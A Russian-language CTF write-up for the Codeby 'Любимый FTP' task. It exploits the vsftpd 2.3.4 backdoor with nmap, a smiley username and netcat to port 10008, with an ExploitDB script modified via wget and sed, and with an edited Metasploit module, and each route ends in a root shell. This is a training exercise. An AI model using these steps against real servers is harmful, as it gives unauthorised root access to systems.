Данная статья является райтапом на задание "Любимый FTP" из категории "Администрирование". В задании необходимо найти и использовать уязвимость в FTP-сервере vsftpd версии 2.3.4. Будет рассказано о процессе поиска уязвимости, применении эксплойта и получения доступа к системе. В качестве инструментов используются GitHub, ExploitDB и Metasploit.
Ссылка на задание: Игры Кодебай | CTF-платформа
Анализ.
Прежде просканируем порты утилитой Nmap с опцией -А:
Bash:
Код:
└─$ nmap -A
62.173
.140.174 -p
10007,10008
Starting Nmap
7.94
(
https://nmap.org
)
at
2023
-12-04 07:22 EST
Nmap scan report
for
antichat
(
62.173
.140.174
)
Host is up
(
0
.032s latency
)
.
PORT STATE SERVICE VERSION
10007
/tcp
open
ftp
vsftpd
2.3
.4
10008
/tcp filtered octopus
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
.
Nmap done:
1
IP address
(
1
host
up
)
scanned
in
7.40
seconds
Из результатов сканирования видим, что на 10007 порту работает ftp-сервер vsftpd версии 2.3.4.
Погуглим уязвимости для этой версии и на каком-нибудь сайте найдем такое описание:
Код:
Код:
В июле 2011 года было обнаружено, что версия vsftpd 2.3.4, которую можно загрузить с главного сайта, была скомпрометирована.
Пользователи, заходящие на взломанный сервер vsftpd-2.3.4, могут использовать смайлик :) в качестве имени пользователя и получить
командную оболочку на порту 6200. Это не было проблемой дыры в безопасности в vsftpd, вместо этого кто-то загрузил другую версию
vsftpd, который содержал бэкдор. С тех пор сайт был перенесен на Google App Engine.
Решение 1.
Попробуем подключиться к FTP-серверу.
Помним, что при вводе логина обязательно указать смайлик , пароль - любой.
Открываем терминал и подключаемся:
Bash:
Код:
└─$
ftp
62.173
.140.174
10007
Connected to
62.173
.140.174.
220
(
vsFTPd
2.3
.4
)
Name
(
62.173
.140.174:kali
)
: ALT1RE:
)
331
Please specify the password.
Password:
После ввода пароля сервер подвис и ничего не происходит. Проверим - вдруг он ожидает нас на 6200 порту.
Попробуем подключиться к нему во втором терминале:
Bash:
Код:
└─$
nc
62.173
.140.174
6200
(
UNKNOWN
)
[
62.173
.140.174
]
6200
(
?
)
:
Connection refused
Нет - там нас никто не ждет.
Вспоминаем, что в описании к заданию был дан еще один порт - 10008. Пробуем подключиться к нему:
Bash:
Код:
└─$
nc
62.173
.140.174
10008
id
uid
=
0
(
root
)
gid
=
0
(
root
)
groups
=
0
(
root
)
,1
(
bin
)
,2
(
daemon
)
,3
(
sys
)
,4
(
adm
)
,6
(
disk
)
Вводим команду 'id' и понимаем что мы под рутом.
Осталось лишь найти флаг в каком-то файле и сдать его на площадке.
Формат флага: Antichat{eT0_nE_f1@g}
Решение 2.
Всего ранее описанного можно было не проделывать, а найти, например на exploit-db.com, готовый экплойт, ИССЛЕДОВАТЬ исходный код, отредактировать в нем порты (21=>10007, 6200=>10008) и запустить:
Bash:
Код:
└─$
wget
https://www.exploit-db.com/download/49757
└─$
sed
-i
's/21/10007/g'
49757
└─$
sed
-i
's/6200/10008/g'
49757
└─$ python3
49757
62.173
.140.174
/home/kali/49757:11: DeprecationWarning:
'telnetlib'
is deprecated and slated
for
removal
in
Python
3.13
from telnetlib
import
Telnet
Success, shell opened
Send
`exit`
to quit shell
id
uid
=
0
(
root
)
gid
=
0
(
root
)
groups
=
0
(
root
)
,1
(
bin
)
,2
(
daemon
)
,3
(
sys
)
,4
(
adm
)
,6
(
disk
)
,10
(
wheel
)
,11
(
floppy
)
,20
(
dialout
)
,26
(
tape
)
,27
(
video
)
При возникновении проблем с версиями модуля telnetlib: типа "DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13" чтобы не вникать в зависимости, попробуйте найти другой эксплойт - например этот.
Скачайте его, посмотрите исходный код (ну мало ли что там) редактируем порты - вместо 21го 10007, вместо 6200 - 10008:
Bash:
Код:
└─$
nano
exploit.py
..
.
def __init__
(
self,ip,port
=
10007
)
:
..
.
..
.
io
=
remote
(
self.ip,
10008
)
..
.
Запустите и получите рута:
Bash:
Код:
└─$ python3 exploit.py
62.173
.140.174
[
+
]
Got Shell
!
!
!
[
+
]
Opening connection to
62.173
.140.174 on port
10007
: Done
[
*
]
Closed connection to
62.173
.140.174 port
10007
[
+
]
Opening connection to
62.173
.140.174 on port
10008
: Done
[
*
]
Switching to interactive mode
$
id
uid
=
0
(
root
)
gid
=
0
(
root
)
groups
=
0
(
root
)
,1
(
bin
)
,2
(
daemon
)
,3
(
sys
)
,4
(
adm
)
,6
(
disk
)
,10
(
wheel
)
,11
(
floppy
)
,20
(
dialout
)
,26
(
tape
)
,27
(
video
)
Решение 3.
Хотите проэксплуатировать используя фреймворк Metasploit? - запускаем его и ищем подходящий эксплойт:
Bash:
Код:
msf6
>
search vsftpd
В базе метасплойта нашлось два эксплойта для vsftpd:
Нам нужен эксплойт для версии 2.3.4 - выбираем:
Bash:
Код:
msf6
>
use
1
или
msf6
>
use exploit/unix/ftp/vsftpd_234_backdoor
Мы знаем, что ftp-сервер работает на порту 10007, адрес удаленного хоста 62.173.140.174 и при удачной эксплуатации сервер отдаст шелл на 10008 порт - зададим параметры эксплойта:
Bash:
Код:
set
RHOST
62.173
.140.174
set
RPORT
10007
Но куда вписывать 10008 порт?! - а некуда его указывать, в эксплойте не предусмотрена возможность редактировать порт для обратного шелла и при удачной эксплуатации он будет ожидать его на 6200 порту.
Ну и ладно - оставим как есть и запустим эксплойт командой "exploit":
После запуска Метасплойт сообщает "Эксплойт исполнен, но сессия не была создана" - оно и понятно, ведь он ожидал его не на том порту.
Я вижу два решения: редактировать эксплойт или подключиться Netcat'ом к нужному порту, ведь половина работы уже проделана и, возможно, сервер готов отдаться нам.
Пробуем неткатом - в новом терминале подключаемся к 10008 порту:
Bash:
Код:
└─$
nc
62.173
.140.174
10008
id
uid
=
0
(
root
)
gid
=
0
(
root
)
groups
=
0
(
root
)
,1
(
bin
)
,2
(
daemon
)
,3
(
sys
)
,4
(
adm
)
,6
(
disk
)
,10
(
wheel
)
,11
(
floppy
)
,20
(
dialout
)
,26
(
tape
)
,27
(
video
)
Введя команду "id", видим что мы под рутом - забираем флаг.
Давайте теперь попробуем отредактировать эксплойт.
Переходим в каталог с исходным кодом нужного эксплойта и, например, в редакторе nano попробуем изменить порт:
Bash:
Код:
└─$
cd
/usr/share/metasploit-framework/modules/exploits/unix/ftp/
└─$
sudo
nano
vsftpd_234_backdoor.rb
Находим две строки:
Bash:
Код:
nsock
=
self.connect
(
false,
{
'RPORT'
=
>
6200
}
)
rescue nil
Меняем порт 6200 на 10008 в обоих. Должно получиться так:
Bash:
Код:
nsock
=
self.connect
(
false,
{
'RPORT'
=
>
10008
}
)
rescue nil
Перезапускаем metasploit и запускаем эксплойт (не забудьте настроить его):
Дальше находим флаг и сдаем его на площадке.